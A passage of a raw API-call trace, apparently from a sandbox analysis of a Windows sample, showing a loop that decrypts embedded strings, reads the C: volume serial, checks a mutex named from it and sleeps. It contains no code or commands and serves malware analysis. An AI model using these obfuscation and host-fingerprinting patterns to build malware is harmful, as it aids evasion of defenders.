pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0044.106] CryptDestroyKey (hKey=0x582a70) returned 1 [0044.106] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0044.106] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0044.106] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa668 [0044.106] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0044.106] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0044.106] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa668, pdwDataLen=0x229f6a4 | out: pbData=0xcaa668, pdwDataLen=0x229f6a4) returned 1 [0044.106] CryptDestroyKey (hKey=0x582a70) returned 1 [0044.106] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa668 | out: hHeap=0xca0000) returned 1 [0044.106] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.106] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0044.106] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0044.106] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.116] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0044.116] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac238 [0044.116] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0044.116] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0044.116] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac238, pdwDataLen=0x229f700 | out: pbData=0xcac238, pdwDataLen=0x229f700) returned 1 [0044.116] CryptDestroyKey (hKey=0x582a70) returned 1 [0044.116] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0044.116] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0044.116] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0044.116] CloseHandle (hObject=0x2c0) returned 1 [0044.116] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac238 | out: hHeap=0xca0000) returned 1 [0044.116] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0044.116] Sleep (dwMilliseconds=0x3e8) [0045.444] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0045.444] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0045.444] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0045.444] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0045.444] CryptDestroyKey (hKey=0x582a70) returned 1 [0045.444] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0045.444] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0045.444] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcab118 [0045.444] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0045.444] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0045.444] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcab118, pdwDataLen=0x229f6a4 | out: pbData=0xcab118, pdwDataLen=0x229f6a4) returned 1 [0045.444] CryptDestroyKey (hKey=0x582a70) returned 1 [0045.444] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcab118 | out: hHeap=0xca0000) returned 1 [0045.444] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.445] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0045.445] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0045.445] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.445] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0045.445] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac1a8 [0045.445] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0045.445] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0045.445] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac1a8, pdwDataLen=0x229f700 | out: pbData=0xcac1a8, pdwDataLen=0x229f700) returned 1 [0045.445] CryptDestroyKey (hKey=0x582a70) returned 1 [0045.445] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0045.445] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0045.445] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0045.445] CloseHandle (hObject=0x2c0) returned 1 [0045.445] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac1a8 | out: hHeap=0xca0000) returned 1 [0045.445] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0045.445] Sleep (dwMilliseconds=0x3e8) [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0047.096] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0047.096] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0047.096] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0047.096] CryptDestroyKey (hKey=0x582a70) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa700 [0047.096] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0047.096] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0047.096] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa700, pdwDataLen=0x229f6a4 | out: pbData=0xcaa700, pdwDataLen=0x229f6a4) returned 1 [0047.096] CryptDestroyKey (hKey=0x582a70) returned 1 [0047.096] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa700 | out: hHeap=0xca0000) returned 1 [0047.096] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0047.096] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0047.096] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0047.096] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.096] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac2c8 [0047.096] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0047.096] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0047.096] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac2c8, pdwDataLen=0x229f700 | out: pbData=0xcac2c8, pdwDataLen=0x229f700) returned 1 [0047.096] CryptDestroyKey (hKey=0x582a70) returned 1 [0047.096] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0047.096] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0047.096] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0047.096] CloseHandle (hObject=0x2c0) returned 1 [0047.096] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac2c8 | out: hHeap=0xca0000) returned 1 [0047.097] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0047.097] Sleep (dwMilliseconds=0x3e8) [0048.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0048.374] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0048.374] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0048.374] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0048.374] CryptDestroyKey (hKey=0x582a70) returned 1 [0048.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0048.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0048.374] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa408 [0048.374] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582a70) returned 1 [0048.374] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0048.374] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa408, pdwDataLen=0x229f6a4 | out: pbData=0xcaa408, pdwDataLen=0x229f6a4) returned 1 [0048.374] CryptDestroyKey (hKey=0x582a70) returned 1 [0048.374] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa408 | out: hHeap=0xca0000) returned 1 [0048.374] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.374] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0048.374] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0048.374] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.375] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0048.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac430 [0048.375] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582a70) returned 1 [0048.375] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0048.375] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac430, pdwDataLen=0x229f700 | out: pbData=0xcac430, pdwDataLen=0x229f700) returned 1 [0048.375] CryptDestroyKey (hKey=0x582a70) returned 1 [0048.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0048.376] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c0 [0048.376] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0048.376] CloseHandle (hObject=0x2c0) returned 1 [0048.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac430 | out: hHeap=0xca0000) returned 1 [0048.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0048.377] Sleep (dwMilliseconds=0x3e8) [0049.858] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0049.858] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fcc0) returned 1 [0049.858] CryptSetKeyParam (hKey=0x58fcc0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0049.858] CryptDecrypt (in: hKey=0x58fcc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0049.858] CryptDestroyKey (hKey=0x58fcc0) returned 1 [0049.858] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0049.858] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0049.858] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaacf0 [0049.858] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x58fec0) returned 1 [0049.859] CryptSetKeyParam (hKey=0x58fec0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0049.859] CryptDecrypt (in: hKey=0x58fec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaacf0, pdwDataLen=0x229f6a4 | out: pbData=0xcaacf0, pdwDataLen=0x229f6a4) returned 1 [0049.859] CryptDestroyKey (hKey=0x58fec0) returned 1 [0049.859] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaacf0 | out: hHeap=0xca0000) returned 1 [0049.859] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.859] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0049.859] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0049.859] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.859] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0049.859] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac700 [0049.859] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x590100) returned 1 [0049.859] CryptSetKeyParam (hKey=0x590100, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0049.859] CryptDecrypt (in: hKey=0x590100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac700, pdwDataLen=0x229f700 | out: pbData=0xcac700, pdwDataLen=0x229f700) returned 1 [0049.859] CryptDestroyKey (hKey=0x590100) returned 1 [0049.859] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0049.859] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0049.859] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0049.859] CloseHandle (hObject=0x2c4) returned 1 [0049.860] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac700 | out: hHeap=0xca0000) returned 1 [0049.860] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0049.860] Sleep (dwMilliseconds=0x3e8) [0051.455] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0051.455] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fc80) returned 1 [0051.455] CryptSetKeyParam (hKey=0x58fc80, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0051.455] CryptDecrypt (in: hKey=0x58fc80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0051.456] CryptDestroyKey (hKey=0x58fc80) returned 1 [0051.456] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0051.456] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0051.456] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaab28 [0051.456] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x58fd40) returned 1 [0051.456] CryptSetKeyParam (hKey=0x58fd40, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0051.456] CryptDecrypt (in: hKey=0x58fd40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaab28, pdwDataLen=0x229f6a4 | out: pbData=0xcaab28, pdwDataLen=0x229f6a4) returned 1 [0051.456] CryptDestroyKey (hKey=0x58fd40) returned 1 [0051.456] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaab28 | out: hHeap=0xca0000) returned 1 [0051.456] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.456] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0051.456] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0051.456] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.456] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0051.456] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac0d0 [0051.456] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fd00) returned 1 [0051.456] CryptSetKeyParam (hKey=0x58fd00, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0051.456] CryptDecrypt (in: hKey=0x58fd00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac0d0, pdwDataLen=0x229f700 | out: pbData=0xcac0d0, pdwDataLen=0x229f700) returned 1 [0051.456] CryptDestroyKey (hKey=0x58fd00) returned 1 [0051.456] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0051.456] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0051.456] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0051.456] CloseHandle (hObject=0x2c4) returned 1 [0051.457] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac0d0 | out: hHeap=0xca0000) returned 1 [0051.457] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0051.457] Sleep (dwMilliseconds=0x3e8) [0053.204] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0053.204] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fb40) returned 1 [0053.204] CryptSetKeyParam (hKey=0x58fb40, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0053.204] CryptDecrypt (in: hKey=0x58fb40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0053.204] CryptDestroyKey (hKey=0x58fb40) returned 1 [0053.204] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0053.204] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0053.205] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaac58 [0053.205] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x5900c0) returned 1 [0053.205] CryptSetKeyParam (hKey=0x5900c0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0053.205] CryptDecrypt (in: hKey=0x5900c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaac58, pdwDataLen=0x229f6a4 | out: pbData=0xcaac58, pdwDataLen=0x229f6a4) returned 1 [0053.205] CryptDestroyKey (hKey=0x5900c0) returned 1 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaac58 | out: hHeap=0xca0000) returned 1 [0053.205] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0053.205] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0053.205] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac5e0 [0053.205] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x590140) returned 1 [0053.205] CryptSetKeyParam (hKey=0x590140, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0053.205] CryptDecrypt (in: hKey=0x590140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac5e0, pdwDataLen=0x229f700 | out: pbData=0xcac5e0, pdwDataLen=0x229f700) returned 1 [0053.205] CryptDestroyKey (hKey=0x590140) returned 1 [0053.205] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0053.205] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x2c4 [0053.205] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0053.205] CloseHandle (hObject=0x2c4) returned 1 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac5e0 | out: hHeap=0xca0000) returned 1 [0053.205] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0053.205] Sleep (dwMilliseconds=0x3e8) [0054.535] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0054.535] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x5901c0) returned 1 [0054.535] CryptSetKeyParam (hKey=0x5901c0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0054.535] CryptDecrypt (in: hKey=0x5901c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, 